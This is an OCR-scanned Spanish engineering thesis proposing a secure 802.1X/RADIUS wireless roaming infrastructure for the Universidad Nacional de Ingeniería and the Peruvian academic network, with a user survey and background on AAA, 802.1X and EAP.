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SUMARIO

La presente tesis de ingenieria consiste en una propuesta de implementaciéon de
una infraestructura de red inalambrica segura para el acceso de estudiantes,
profesores e investigadores de la UNI a la Red Académica Peruana (RAAP) y en la
itinerancia de los mismos usuarios cuando visiten otras instituciones académicas del
Peru y el resto del mundo.

Los usuarios de la UNI podran acceder, desde cualquier red inalambrica conectada
a la RAAP, a los servicios y recursos que brinda la comunidad académica y de
investigacion. Ellos usaran su cuenta de correo electrénico de la UNI como
credenciales de acceso a la RAAP.

Para el desarrolio de dicha propuesta, se realizé un estudio de ingenieria de los
problemas de seguridad en el acceso de usuarios a una red inalambrica, luego se
plante6 una alternativa de solucién basada en el estandar IEEE 802.1X para
solucionar dichos inconvenientes, y por ultimo, se demostré6 mediante ejemplos las
autenticaciones de distintos tipos de usuarios de otras instituciones visitantes al

campus de la Universidad de Ingenieria (UNI).
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PROLOGO

La presente tesis estd compuesta por nueve capitulos incluyendo el presente y una
seccion final para las referencias en la bibliografia, anexos, figuras y glosario.

En el primer capitulo se ha descrito la justificacién, motivacién y la estructura de la
tesis. En el segundo capitulo se presentan los objetivos generales, especificos y el
alcance de la tesis. En el tercer capitulo se da a conocer el planteamiento del problema,
se describe una breve introduccibn y se analiza el enfoque del problema de la
investigacion. En el cuarto capitulo se describe el marco tedrico de la tesis que abarca
los conceptos del proceso de autenticacion usando AAA, autenticacion 802.1X, EAP,
RADIUS, WPA, certificados digitales, el proceso de seguridad en el protocolo EAP-TTLS
y los elementos de la infraestructura de la solucién propuesta. En el quinto capitulo se
dara a conocer dos alternativas de solucién a la propuesta de la tesis. En el sexto
capitulo se describira la metodologia de la solucién propuesta y se explicara su proceso
de eleccién de dicha solucién. En el séptimo capitulo se desarrollara la solucion
propuesta referenciando a algunos anexos en donde se describira la parte técnica de la
solucién propuesta. En el octavo capitulo se haran ciertas pruebas de operatividad con
distintos sistemas operativos y se ilustrara una prueba de conectividad con un usuario
externo el cual se validara con el servidor de autenticacion RADIUS propuesto logrando
una validacién segura a la red académica peruana. En el noveno capitulo se estimara los
" costos que llevara a cabo la implementacion de la solucién propuesta. En el decimo
- capitulo se describira las conclusiones y recomendaciones en la presente tesis. Por
ultimo se desarrollara cuatro anexos explicando un poco mas a detalle la parte técnica de
la solucién, en la bibliografia se citan a las referencias utilizadas como libros, articulos de
investigacion, etc. tomadas para el estudio de la solucion, una tabla de figuras y un
glosario con los términos mas importantes explicados en el volumen de la tesis.

Ademas, quisiera agradecer a mis padres por ser el motor en mi vida y el ejemplo de
personas a seguir, a mis hermanos(as) y al resto de mi familia por su apoyo constante en
la tesis, al INICTEL-UNI por brindarme la oportunidad de desarrollarme profesionalmente
y darme las facilidades en el desarrollo de la tesis, al Ing. José Luis Quiroz por ayudarme
en conocer mas sobre mi profesion, al Ing. Fredy Chalco, por transmitirme sus
conocimientos acertados y ayudarme durahte la redaccion de la tesis y a los profesores
de la UNI en especial al Ing. Daniel Diaz A. y al Ing. Manuel Espinoza, a ustedes Gracias.



CAPITULO |
INTRODUCCION

1.1 Justificacion

La presente tesis es resultado del estudio realizado al problema en la itinerancia de
los estddiantes e investigadores de las distintas universidades del Pert, al acceso seguro
y transparente de los mismos usuarios a la RAAP y a la participacion de los
investigadores de las universidades en los distintos proyectos de investigacion cientifica y
tecnol()éica usando redes avanzadas.

Cuando estos investigadores de las distintas instituciones académicas, que por
motivos de estudios o trabajos, visiten otras universidades y requieran acceso a internet,
ellos necesitaran de una cuenta de acceso a la red inalambrica de la institucion que
visiten. En general, esto requiere ciertos tramites administrativos y en ocasiones dicho
acceso no es permitido para usuarios externos a la universidad.

Para resolver estos problemas, la presente tesis propone una solucién que permite a
los estudiantes e investigadores de la Universidad Nacional de Ingenieria (UNI) acceder,
por medio de distintas redes inalambricas, a las redes avanzadas del Pert y de otras
partes del mundo usando como mecanismos de autenticaciéon las mismas credenciales
de correo eIectr6nico de su universidad de origen. El acceso a dichas redes sera de

forma rapida, segura y transparente al usuario.

1.2 Niotivacion

La motivacion de la presente tesis es fomentar la participacion de estudiantes,
investigadores o profesores de la UNI al uso de las redes avanzadas. Ellos podran
acceder desde cualquier punto de acceso inalambrico dentro del campus de Ila
universidad.

Desde la perspectiva tecnolégica, incentivara a los estudiantes o profesores a
participar activamente en los diversos proyectos de investigacién organizados por el
Instituto Nacional de Investigacion y Capacitacién de Telecomunicaciones (INICTEL— UNI)
o la Red Académica Peruana (RAAP). Los usuarios de la UNI que participan en uno de

estos proyectos solo necesitaran de un dispositivo mévil y de su cuenta de correo



electronico institucional para poder acceder a plataformas de videoconferencias, sesiones
de streaming o incluso en comunicaciones por VolP usando redes avanzadas.

Desde una perspectiva social, permitira integrar a las distintas universidades de las
regiones del Perd al uso de un servicio de itinerancia académica con el fin de lograr el
intercambio de conocimientos entre los investigadores de Lima y Provincias asi como
investigadores de otras partes del mundo.

1.3 Antecedentes S

Los origenes del internet se remontan desde mediados del afio 1969, cuando pdr
endargo del departamento de defensa de los Estados Unidos disefiaron una red
experimental que requeria la comunicacion entre cuatro universidades de los Estados
Unidos. Este proyecto fue conocido con el nombre de ARPANET (Agencia de proyectos
de investigacién avanzada).

En el transcurso de los afios el acceso al internet ha ido creciendo exponencialmente,
es por ello que aparecieron muchos estandares y modelos de referencias que permitian
clasificar mejor a los protocolos de red que se iban creando. Luego de cierto tiempo,
surgié la necesidad de conectarse a una red sin medios fisicos, creandose por
consiguiente una organizacién comercial llamado WECA (Wireless Ethernet Compatibility
Alliance) la cual certificaba que los equipos cumplan con el estandar 802.11 para redes
inalambricas, actualmente dicha organizacién es conocida como la Alianza WIFI.

A mediados del afio 1999, se disefid un sistema de cifrado incluido en el estandar
IEEE 802.11 conocido como WEP (Privacidad equivalente a redes cableadas). Este
protocolo fue utilizado por muchos afios, incluso aun se usa en varias universidades, y
permite a los usuarios conectarse a una red inalambrica de una manera insegura.

Después de algunos afios, se encontré ciertas vulnerabilidades con los algoritmos de
cifrados de WEP, esto llevd a la necesidad de crear protocolos mas robustos y algoritmos
gue no puedan ser descifrados facilmente. Para lo cual la IEEE disefi6 un nuevo
estandar, mas tarde conocido como 802.11i, que permitia resolver los problemas en
seguridad encontrados en el protocolo WEP, pero a la espera de su lanzamiento, la
alianza WIF| en colaboracion con la IEEE disefiaron un protocolo de red que tiene
caracteristicas similares al nuevo estandar propuesto pero que mantenia el algoritmo de
cifrado RC4 vulnerable ante distintos tipos de ataques. Este nuevo protocolo fue conocido
como WPA (Acceso protegido WIFI) [1]. o

En ‘Junio del afio 2000, la IETF publico la RFC 2865 que permite la autenticacion
remota de usuarios. Este sistema es conocido como RADIUS y que originaimente fue
usado para el acceso telefénico remoto via “DIAUL_UP”. Después de la publicacion de un



modelo de seguridad para la autenticacion, autorizacién y contabilidad (AAA), RADIUS
mejoré su protocolo basandose en el modelo AAA y usando una arquitectura “Cliente-
Servidor” permite la autenticacion segura de usuarios para el acceso a internet [2].

En el afio 2004, la IEEE publicé un nuevo estandar IEEE 802.11i la cual sustituia al
algoritmo de cifrado inseguro RC4 por el nuevo Estandar de Cifrado Superior (AES). Este
protocolo de red es el mas seguro en cuanto a la confidencialidad de la informacion y es
usado en algunas instituciones y universidades del pais. Sin embargo, no es la solucién
ideal para la administracion de una gran cantidad de usuarios y de la seguridad de cada
uno de ellos.

" La necesidad de tener una infraestructura de red segura en las universidades y
centros de investigacion exigié que se disefiaran protocolos mas robustos que permitan
proteger nuestra informacion de ciertos ataques hacia las redes inalambricas. Es asi que
en el afio 2004, Ié IEEE publicé el estandar 802.1X la cual permite controlar el acceso a
dichas redes mediante el uso de un modelo de seguridad basado en capa dos [3]. |

Este modelo de red también permite el uso de los protocolos de cifrado WPA y WPA2
para la confidencialidad de la informacién de los usuarios y es usado en la comunicacion
entre el Punto de Acceso inalambrico y el servidor de autenticacion RADIUS. En la Fig.
1.1 se observa la estructura basica de 802.1X usada en la presente tesis.

Suplicante Punto de Acceso

Fig. 1.1 Estructura 802.1X con WPA

En los uUltimos afios, el acceso a internet se hace mas frecuente en las universidades,
institutos o centros de investigacion. Los usuarios generalmente acceden al internet
desde los laboratorios de computo y otros desde sus dispositivos méviles usando la red

de su proveedor de servicios de telefonia.



1.4 Objetivo general

Implementar una maqueta de acceso seguro con soporte IEEE 802.1X a una red wi-fi,
basada en un servidor de autenticacion RADIUS, usando software libre y un NAS, que
garantice la autenticacién segura y transparente a la red académica peruana (RAAP), de
los investigadores, profesores y estudiantes del campus UNI, asi como visitantes de ofras

instituciones académicas utilizando las cuentas de acceso de su institucion de origen.

1.5 Objetivos especificos

i

Implementacién y configuraciéon de un servidor de autenticacién RADIUS para

validar usuarios de forma segura. '

¢ Proponer una solucién en seguridad de redes inalambricas usando |IEEE 802.1X.
Especificaciones del proceso de conectividad del suplicante al NAS y del NAS al
servidor RADIUS.

¢ Esquema para el directorio LDAP conectado al servidor de autenticacion RADIUS
en la validacién segura de usuarios en una red wi-fi.

e Esquema de un servidor de base de datos MYSQL conectado a un servidor de

autenticacion RADIUS en la validacién segura de usuarios en una red wi-fi.

1.6 Alcances

El presente trabajo esta orientado al desarrollo de una plataforma de autenticacién
jerarquica sobre el campus universitario de ia UNI, con capacidad de interconexioén hacia
otras instituciones académicas conectadas a la RAAP, usando el estandar IEEE 802.1X,

lo que permite el acceso seguro de usuarios residentes o visitantes del campus a la red.



CAPITULO I
PLANTEAMIENTO DEL PROBLEMA

21 Introduccion

La seguridad en redes inaldambricas es un aspecto importante que debe tomarse en
cuenta al momento de implementar una infraestructura de red WIFI| en una organizacion.

En las universidades, algunos usuarios se conectan al internet desde sus dispositivos
moviles por medio de una red inalambrica como por ejemplo: Laptop, Smartphone,
Tablet, etc. Sin una adecuada politica de seguridad, la informacion que viaja en la red
inalambrica no seria confiable [4].

En la Fig. 2.1 se observa un escenario de red inalambrica en el cual cada usuario

asociado a dicha red se conecta a la RAAP mediante una sola clave compartida.

Usuario 1

Usuario 2

Usuario Malicioso

Fig. 2.1 Escenario de red inalambrica con clave compartida
Por otro lado, los usuarios que visitan otras instituciones y requieran acceder a la red
inaldmbrica de la universidad solo necesitaran las credenciales de acceso a la red. Ellos
podrian solicitar dichas credenciales a la facultad visitada pero eso requiere cierto tiempo
para realizar los tramites correspondientes con la facultad.
La necesidad, por parte de las universidades o institutos de investigacion, de proteger

la informacién de los usuarios conectados al internet y de su acceso seguro a distintas



instituciones por medio de una sola cuenta de acceso es el principal problema de -

ingenieria y a la vez es la propuesta de solucién en la presente tesis.

2.2 Enfoque del problema

Desde la creacién de las redes inaldmbricas hasta el dia de hoy se han disefiado
distintos protocolos y estandares los cuales ofrecen cierta seguridad en la informacion
transmitida por un usuario conectado al internet. Estos pfotocolos fueron vulnerados a los
pocos afos de su creaciéon por distintos hackers, que usando distintas técnicas de
atagues lograban obtener la clave compartida de los usuarios asociados a un punto de
acceso inalambrico.

Es asi que en el afio 2001, después de la creacién del primer protocolo de seguridad
para redes inalambricas, se demostré dos vuinerabilidades encontradas en el algoritmo
de cifrado River Cipher (RC4) usados en WEP los cuales se conocieron como
“Debilidades de No Variacion” y los “Ataques a los Vectores de Inicializacién” [5].

Tres afios después, se logré descifrar datos de los usuarios sin necesidad de conocer
la clave compartida de la red inalambrica. Solo algunos Puntos de Accesos, que
rechazaban paquetes menores a sesenta bytes, no eran vulnerables ante estos ataques.
Este método fue conocido como Korek Chopchop [6].

En cuanto al protocolo WPA, las vulnerabilidades se basan generaimente en dos
métodos: Ataques contra la autenticaciéon y Ataques contra la encriptacion.

El primero de ellos se basa en la recuperacién de un par de llaves maestras (PMK)
para lograr leer el trafico de todos los clientes asociados a la red. Mientras los ataques
contra la encriptacién se basan en descifrar toda la informacion que viaja en la red.

Estos tipos de ataques no logran que un atacante obtenga la clave de acceso, sino le
permite leer todo el trafico de informacion que un usuario transmite como si fueran datos
en texto plano [7].

Para lograr atacar al protocolo WPA, los atacantes necesitan conocer el SSID, las dos
llaves aleatorias, tanto del cliente como la del servidor RADIUS y las dos MACs Address
de los mismos. Estos valores son mostrados en el proceso handshake de cuatro vias
como indica la Fig. 3.21.

Existen distintas herramientas capaces de lograr recuperar la clave compartida WPA,
estas herramientas usan la técnica de ataques por. diccionario para encontrar el par de
llaves maestras (PMK). En el anexo A se muestran algunos métodos de como lograr
obtener claves WPA mediante estos tipos de ataques y en el cap. 3.5 se puede obtener

mas informacién sobre WPA.



Hay otros factores que permiten acceder a una red inaldmbrica. Por ejemplo, el caso
de un empleado que deja la compafiia o de un dispositivo portatil que ha sido robado. En
estos casos, existe el riesgo de que otras personas, fuera de la compaiiia, logren
acceder a la red de la institucion de una forma no autorizada y que podria poner en riesgo
la seguridad de la informacién de los usuarios.

El cambio temporal de la clave compartida es un procedimiento trabajoso para
algunos administradores de redes. Ellos tendrian que informar a todos los usuarios,
asociados a la organizacion, dicho suceso.

También esta el caso de exponer el alcance de las ondas de radio a usuarios no
autorizados fuera del ambiente de la organizacion. Esto también es un riesgo de
seguridad ya que un usuario, externo a la institucién, podria acceder a dicha red usando
herramientas de hacking y mediante el uso de un repetidor de frecuencias lograria
vulnerar la confidencialidad en la informacién de los usuarios.

En la Fig. 2.2 se muestra el acceso a la red de la universidad de un usuario no
autorizado, esto se debe a la transmision de las ondas de radio fuera del perimetro del
campus universitario. Este riesgo de seguridad es aprovechado por usuarios mal
intencionados que mediante técnicas conocidas como “Wardriving” logran conseguir

acceso a la red de la universidad.

Fig. 2.2 Acceso a una red por un usuario no autorizado
Por otro iado, el pasado 3 de mayo del afio 2012 se llev6 a cabo una encuesta en la
Universidad Nacional de Ingenieria (UNI) y que tuvo como objetivo estimar el porcentaje
de estudiantes o profesores que acceden a la red inalambrica de la Facultad de

Ingenieria Eléctrica y Electronica de la UNI (FIEE-UNI).



Para estimar dicho porcentaje, primero se calculé el tamafio de la muestra tomando
como referencia la poblacién de estudiantes y profesores, que seglin fuentes estadisticas
del departamento académico de la facultad y para el periodo 2012~ son exactamente
1236 estudiantes y 125 profesores. Luego, se seleccioné dicha muestra considerando un
95% de confianza, asumiendo un margen de error igual al 5%, previendo una perdida
muestral esperada del 5% debido a observar una muestra en lugar de la poblacién
completa.

Para determinar dicho tamafio muestral, se estimé una proporcién usando factores de
precision y un porcentaje de la proporcion esperada que acceden a la red inalambrica [8].

La ecuacion para el calculo del valor muestral se observa en (1.1).

N*p*q

n= (1.1)

a

(—)2*(N —1)+p*q

¥4

Donde:

- N es el tamario de la poblacion.

- «a es el error en la estimacion igual a 5%.

- gz es la constante usada para un nivel de confianza del 95%.

- p es la proporcién esperada (Para los profesores es 0.1 y para los
estudiantes 0.04)

- g=1-p.

Entonces, de (1.1) y considerando un error del 5%, el valor muestral para una
poblacion de 1236 estudiantes y 125 profesores es de 56 y 66 respectivamente.
Considerando el tamafio muestral resultante se opté por encuestar a esa cantidad de
personas.

El resultado de las encuestas fue para el caso de los profesores que solo un 14%
usan la red inaldmbrica para su acceso al internet, un 16% no acceden a dicha red
porque no conocen la clave de acgeso; un 30% reportan el servicio lento de la red WIFI y
un 40% no cuentan con un dispositivo moévil para dicho acceso o simplemente no tienen
la necesidad de acceder a Ia red WIFI de la FIEE. En la Fig. 2.3 se observa un gréfico
estadistico cirbular en donde se muestra el porcentaje de profesores que acceden a la
red WIF! de la FIEE-UNI.
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BUsan la red WIF]i de la UNI

@ No conocen la clave de
acceso a la red WIFI

1 El servicio es muy lento de la
red WIFI

® No tiene un dispositivo movil
u otros

Fig. 2.3 Porcentaje de profesores que acceden a la red WIFI de la FIEE

Para el caso de los estudiantes, solo un 9% usan la red inalambrica para su acceso
al internet, un 21% no acceden a dicha red porque no conocen la clave de acceso, un
24% reportan el servicio lento de la red WIFI y un 46% no cuentan con un dispositivo
moévil para dicho acceso. En la Fig. 2.4 se observa el porcentaje de estudiantes que
acceden a la red WIFI de la FIEE-UNI.

& Usan la red WIFI de la UNI

= No conocen la clave de
acceso a la red WIF]

1 El servicio es muy lento de la
red WIFI

m No tiene un dispositivo movil

Fig. 2.4 Porcentaje de estudiantes que acceden a la red WIFI de la FIEE

Todos los profesores que acceden a la red inaldmbrica de la FIEE usan como
dispositivo mévil una laptop y solo el 50% usan Smartphone. En el caso de los
estudiantes, todos usan una laptop para el acceso a la red WIFI y solo un 4% usan
Smartphone.

En cuanto a la seguridad que tienen los usuarios en exponer su informacién a la red
inalambrica, un 20% de profesores y un 11 % de estudiantes creen que la red garantiza la

seguridad de su informacién tal como se muestran en Fig. 2.5 y Fig. 2.6. Este resultado
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puede ser predecible ya que las redes inaldmbricas en las facultades de la UNI cuentan
con un sistema de proteccion débil en seguridad conocido como protocolo WEP, el cual

es un inseguro y vulnerable ante diversos ataques informaticos.

& Confian en la seguridad de
la red WIF! de la FIEE

ENo confian en la seguridad
de la red WIFI

Fig. 2.5 Porcentaje de profesores que confian en la red WIFI de la FIEE

Confian en la seguridad de
la red WIFl de la FIEE

mNo confian en la seguridad
de la red WIFI

Fig. 2.6 Porcentaje de estudiantes que confian en la red WIFI de la FIEE

En cuanto al total de usuarios que visitan otras universidades o institutos de
investigacion, se obtuvo que un 25% de estudiantes y un 67% de profesores visitan otras
universidades y un 4% de estudiantes con un 11% de profesores visitan otros institutos
de investigacion. En su mayoria, los institutos de investigaciéon visitados fueron el
INICTEL-UNI y el CTIC.

En cuanto al total de usuarios que cuentan con planes de datos en sus dispositivos
moéviles, un 40% de profesores y solo un 14% de estudiantes cuentan con planes de
datos en sus celulares.

En el uso del correo electrénico institucional, un 70% de profesores y un 29% de
estudiantes usan la cuenta de correo electrénico de la UNI para enviar y/o recibir correos
electrénicos de la universidad como se muestra en Fig. 2.7 y Fig. 2.8. Este resultado no

es bueno para los estudiantes si consideramos que ellos necesitan estar pendientes de
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las noticias referentes a la universidad y las oportunidades en las bolsas de trabajo que

ofrece la UNI y que son publicados en su mayoria a las cuentas del correo electrénico
institucional.

& Si lo usan
®No lo usan

Silo usan
& No lo usan

Fig. 2.8 Estudiantes que usan su cuenta de la UNI

En el caso de estudios de maestria y doctorados, un 11% de profesores y un 71% de
estudiantes desean estudiar maestria, un 33% de profesores y un 4% de estudiantes
desean estudiar doctorado y finalmente un 56% de profesores y un 25% de estudiantes
no desean seguir estudios superiores o ya lo han realizado.

Si bien es cierto que en las universidades particulares, es mayor el nimero de
accesos a una red inalambrica, la confidencialidad de la informacién no es siempre
segura. Los administradores de las redes a menudo configuran su seguridad con
protocolos no tan seguro por lo que igual estarian expuestos ante diversos tipos de
ataques de hacking.

En estos tiempos, acceder al internet por medio de una red inalambrica es un

problema en las universidades. Los usuarios tienen que solicitar dicho acceso a la
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facultad y mediante ciertos tramites se logra la conectividad al internet pero con algunas
restricciones de uso por las politicas de seguridad de la institucion.

En otros casos, los administradores de las instituciones cambian la clave de acceso
cada cierto periodo de tiempo por motivos de seguridad, por lo que los usuarios
necesitarian gestionar nuevamente dicha clave. Este problema se debe al uso de una
sola clave compartida entre todos los usuarios que requieren conexion al internet.

Para el caso especifico de la Universidad Nacional de Ingenieria, el promedio de
alumnos que acceden a su correo electronico de la universidad con dominio “uni.edu.pe”
es minimo. Ellos generalmente comparten su informacién usando otras cuentas de
correos electronicos y en otros casos algunos profesores de la universidad no impulsan el
uso masivo del correo de la universidad a los estudiantes para los trabajos del curso.

La presente tesis propone como mejoras el uso de una sola cuenta de acceso por
cada usuario asociado a la red, la cual sera la misma que su cuenta de correo electrénico
de su universidad de origen.

Por otro lado, los estudiantes de las universidades e institutos de investigacion
frecuentemente visitan ofras instituciones participando en conferencias, estudios de
maestria, pasantias, etc. Las instituciones organizadoras del evento ofrecen servicios de
internet por medio de un acceso inaldmbrico usando para ello una clave compartida.

Los puntos de acceso de estas universidades, en su mayoria, tienen un nivel minimo
de seguridad, por lo que las informaciones de los usuarios estarian expuestas a diversos
tipos de atagues como robos de contrasefias, secuestro de datos, ataques por phishing
en transacciones electronicas, etc. Solo es cuestion de minutos u horas para que un
atacante logre entrar a la red WIFI y poner en riesgo la confidencialidad o disponibilidad
de la informacion de los usuarios.

Los administradores de redes requieren de mayor tiempo para gestionar Ila
autorizacion de cada usuario al internet, ellos necesitan un mayor control en cada
dispositivo movil segin el tipo de autenticacion a ser configurado en los puntos de
acéesos. En éste proceso se pierde tiempo y manejo en la administracion de los usuarios
del internet posibilitando el acceso a usuarios no autorizados o acceso a usuarios con
cuentas caducadas.

Mientras mas universidades logren implementar una infraestructura de red
inalambrica con soporte IEEE802.1X para el acceso a las redes avanzadas, mas
estudiantes y profesores tendran la oportunidad de participar en los distintos proyectos de
investigacion realizados por la comunidad académica y de investigacion.

La presente tesis propone una solucién al problema de movilidad en el acceso
" inalambrico (itinerancia), permitiendo a los estydiantes de las distintas instituciones
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acceder, de manera automatica, a la red de otra institucién académica conectada a redes
avanzadas, usando como credenciales su misma cuenta de correo electrénico de su
universidad de origen.

En la Fig. 2.9 se observa un escenario de red WIFI| en el que cada usuario asociado a
un Punto de Acceso se conecta a las redes avanzadas mediante el uso de claves
distribuidas. Se entiende por claves distribuidas a un sistema 802.1X que permite usar
una credencial Unica ‘por cada usuario. Por ejemplo, los usuarios jquinto@inictel-
uni.edu.pe y bob@univ-x.edu:pe se autentican a la red WIFI de la UNI usando solamente
como credenciales de acceso la cuenta correo electrénico de su institucion.

En resumen se propone un modelo de autenticacion distribuido, basado.en el
protocolo IEEE 802.1X y la construccion de una base distribuida soportada mediante los
protocolos RADIUS y LDAP, asi como en el manejador de la base de datos MySQL.

Usuario
Visitante

Usuario
Visitante 2

bab@univ-x.edu.pe

Fig. 2.9 Escenario de red inalambrica con acceso de clave distribuida
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CAPITULO I
MARCO TEORICO

Proceso de autenticacion usando AAA

3.1.1 Modelo AAA

El modelo para la Autenticacién, Autorizacion y Contabilizacion (AAA) fue

desarrollado después de la creacién del protocolo RADIUS con el fin de disefiar un

estandar en los métodos de autenticacion de usuarios que soliciten acceso a una red. El

sistema RADIUS fue el primer protocolo basado en el modelo AAA [9].

AAA se basa en tres aspectos fundamentales: Autenticacion (Authentication),

Autorizacion (Authorization) y Contabilizacién (Accounting) definidos de la siguiente

manera [10]:

Autenticacion: Es el proceso por el cual un usuario de una organizacion, valida
sus credenciales para acceder a un servicio determinado de la red. Estas
credenciales podrian ser de dos tipos: usuario-clave o certificados digitales.
Autorizacion: Define el tipo de acceso hacia una red por el cual un usuario tiene
privilegio. Cada instituciéon tiene sus propias politicas de acceso a recursos y
servicios de la red.

Contabilidad: Es el registro de todos los usuarios que han solicitado acceso a
una red. Esta informacion es usada por los administradores de redes para

mantener un reporte de las autenticaciones por periodo de tiempo.

3.1.2 Entidades de autorizacion

Las entidades basicas que podrian participar en un escenario AAA son [11]:

Usuario (User): Es aquel que requiere acceder a un determinado recurso o
servicio de una red.
Organizacién de usuarios locales (UHO): Es aquella institucién que autentica a

sus usuarios hacia los recursos y servicios de la red.
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e - Servidor AAA de un proveedor de servicios (SP). Es aquella institucion que
autoriza a un usuario, su acceso a un servicio o recurso de red basado en un
acuerdo con la institucién afiliada al usuario visitante.

¢ Equipamiento de servicios de un proveedor de servicios (SE): Estos equipos
son los encargados de mantener la comunicacién directa con los proveedores de
servicios y con las organizaciones de usuarios locales. Por ejemplo: Puntos de
Accesos para los servicios de movilidad IP.

En la Fig. 3.1 se describe las entidades basicas que participan en el proceso AAA.

Organizacién de usuarios locales
{UHO)

Proveedor de servicios (SP)

| Usuario
(User) Servidor™
‘ AAA

{ Equipamiento de
servicio {(SE)

Fig. 3.1 Entidades de autorizacién basica

3.1.3 Modos de autenticacion
a) Autenticacion normal

Cuando un usuario de una institucion requiera acceder a los servicios y recursos de
internet dentro del campus de su institucién, éste usuario estaria realizando una
autenticacién normal.

En la Fig. 3.2 se observa la secuencia de mensajes de un usuario accediendo a los
servicios o recursos de su institucion de origen. Este proceso inicia con una consulta de
autenticacion del usuario al equipamiento del servicio (1), luego ésta consulta es
reenviada al servidor AAA de la institucion proveedora del servicio de internet (2), éste
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servidor evalua la consulta y responde con un mensaje de autorizacion o denegacién de
acceso (3) y finalmente el equipamiento de servicio devuelve al usuario la respuesta a la
peticion de acceso (4).

Proveedor de servicios (SP)

Servidor
AAA

Usuario | 2 3
(User)

Equipamiento de
servicio {SE)

Fig. 3.2 Autenticacién normal de usuarios

b) Itinerancia (Roaming)

Cuando un usuario de una organizacién visita alguna otra institucion y requiere
acceder a los servicios y recursos del internet, a éste proceso se le llama lItinerancia
(Roaming). Esto se debe a que la organizacién que autoriza al usuario es diferente al
proveedor de servicio de Redes Avanzadas (RAAP).

En la Fig. 3.3 se observa la secuencia de mensajes de un usuario accediendo a los
servicios 0 recursos de una institucion visitada. Este proceso inicia con una consulta de
autenticacion del usuario visitante al equipamiento de servicio , luego ésta consulta es
reenviada al servidor AAA de la institucion proveedora del servicio de RAAP (1), éste
servidor evalla la consulta y reenvia la peticién a la organizacion la cual pertenece el
usuario local (2), el servidor AAA de ésta organizacion evalla la consulta y responde con
un mensaje de autorizacién o denegacién de acceso (3) y finalmente el equipamiento de

servicio devuelve al usuario la respuesta a la peticion de acceso(4).
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Organizacion de usuarios locales
(UHO}
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Servidar
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' Usuario -

| (User) Proveedor de servicios (SP)
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Fig. 3.3 Itinerancia de usuarios

3.2 Autenticacion 802.1X

La norma IEEE 802.1x es un estandar que mejora la seguridad en las redes
cableadas e inalambricas y cuya funcion es controlar el acceso de los usuarios a un
recurso dado de la red.

En muchas universidades, los estudiantes o profesores solicitan acceso a internet por
medio de una red inalambrica; Con una administracion centralizada de las cuentas de
usuarios se podrian gestionar mejor todo el trafico de informacién asi como el ingreso y
salida de cada usuario a cierta hora del dia.

En la Fig. 3.4 se muestra una arquitectura bdsica de autenticacion 802.1X en el cual
el proceso en que un usuario (suplicante) envia sus credenciales a un Punto de Acceso
(Autenticador) es conocido como EAPOL (EAP sobre LAN) y el proceso de comunicacion
entre el Autenticador y el servidor RADIUS correspondiente es EAP sobre RADIUS. En el
Cap. 3.3 se explicara con mas detalle el proceso EAP (Protocolo de Autenticacion
Extensible) [12].
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(o))

EAP sobre / EAP sobre
LAN (EAPOL) RADIUS
S L_-»—W;"’f &
Suplicante Autenticador Sérvit.ior ‘?? ‘
Autenticacion
{RADIUS)

Fig. 3.4 Infraestructura de red usando 802.1X

3.21 Componentes de la arquitectura 802.1X
a) Servidor de autenticacion RADIUS

Es un servidor encargado de administrar y gestionar las cuentas de acceso hacia una
red y de los recursos que tienen disponibles. También es conocido como un protocolo
cliente / servidor, ya que puede responder a las consultas de los puntos de accesos para
autorizar a los usuarios o redirigir las consultas a un servidor RADIUS de otro dominio
institucional. Algunos paquetes que implementan RADIUS son Freeradius (Software
Libre), ACS (Cisco), IAS (Windows), etc.

b) Autenticador

Es el dispositivo encargado de encapsular paquetes EAP en paquetes RADIUS y
desencapsular paquetes RADIUS en EAP de la siguiente manera:

e Cuando un Autenticador recibe un paquete EAP del suplicante, lo encapsula
dentro de un paquete RADIUS y luego es enviado al servidor de autenticacion
correspondiente.

e Cuando un Autenticador recibe un paquete RADIUS, que contiene EAP, del

servidor de autenticacion, lo desencapsula y luego es enviado al suplicante.

-¢) Suplicante

Es el software que permite a un usuario poder autenticarse de forma segura desde un

dispositivo inalambrico.
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3.2.2 Puertos controlados y no controlados

El estandar 802.1X controla el acceso de los usuarios a una red basado en dos
mecanismos: Puerto controlado y Puerto no controlado.

El puerto controlado permite o previene el ingreso o salida del trafico de red hacia los
puertos del Autenticador. El puerto no controlado transmite y recibe tramas EAPOL dando
inicio a un proceso de autenticacion 802.1X.

Cuando un usuario quiere validar sus credenciales a una red, el puerto de validacion
inicial esta cerrado, por lo cual el usuario debera esperar la autorizacion del Autenticador
el cual reenviara dicha peticion al servidor de autenticacion central (RADIUS), y éste
mediante el uso de un registro de base de datos, permita o denegara el acceso de dicho

usuario.

3.2.3 Estructura del paquete 802.1X

La trama 802.1X consta de 4 campos como se observa en la Fig. 3.5.

Versién | Tipo | Longitud | " Datos EAP ... |

Fig. 3.5 Estructura del paquete 802.1X

e Version: El campo “versién” es de 1Byte e indica la versidon de la trama IEEE
802.1X

¢ Tipo: Elcampo “tipo” indica el tipo de paquete 802.1X.

¢ Longitud: El campo “longitud” indica el tamafio en hexadecimal de los datos EAP

a transmitir por cada paquete. Su tamafio es de 2 Bytes.

En la Fig. 3.6 se observa una captura de paquetes usando un analizador de
protocolos (Wireshark). El tipo de protocolo de la trama Ethernet en hexadecimal es

“Ox888e”, este valor anuncia al paquete que su tipo de protocolo es 802.1X [13].

» Frame l: 60 bytes on wire {480 bits), 60 bytes captured (480 bits)

*r Ethernet II, Src: Cisco 6f:af:70 {00:26:0a:6f:af:78), Dst: GemtekTe 73:f2:24
- Deslination: GentekTe 73:92:24 {00:14:a5:73:12:24)

> Spurce: C!scc 6- af ?ﬁ (GS 76 ﬂa 6’ af: 78} )

Trailer: 8o e
"@2. 1% guthen‘tication_]:—-_—_-::_-s_-_ Trama 802.1X {4 campos)
Version: 1
Type: EAP Packel (8)
Length: 41
» Extensible Authentication Protocol

Fig. 3.6 Captura de la trama 802.1X
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3.3 Protocolo de autenticacion extensible

El protocolo de autenticacion extensible (EAP) definido en [14] y [15], proporciona
soporte a multiples métodos de autenticacion, por ejemplo: EAP-TLS, EAP-TTLS, PEAP,
EAP-SIM, EAP-MD5, EAP-LEAP, EAP-FAST, etc.

EAP es usado como un framework en la autenticacién de usuarios a una red IP y que
pertenece a una frama de la capa de enlace del modelo TCP/IP. También es usado en
enlaces dedicados y en enlaces inalambricos como por ejemplo en circuitos conmutados.

Una de las ventajas es que proporciona su propio soporte para la eliminacién y
retransmision de paquetes duplicados. EAP se logré implementar tanto en equipos
finales, conmutadores de red, Puntos de Accesos o Routers via circuitos conmutados o
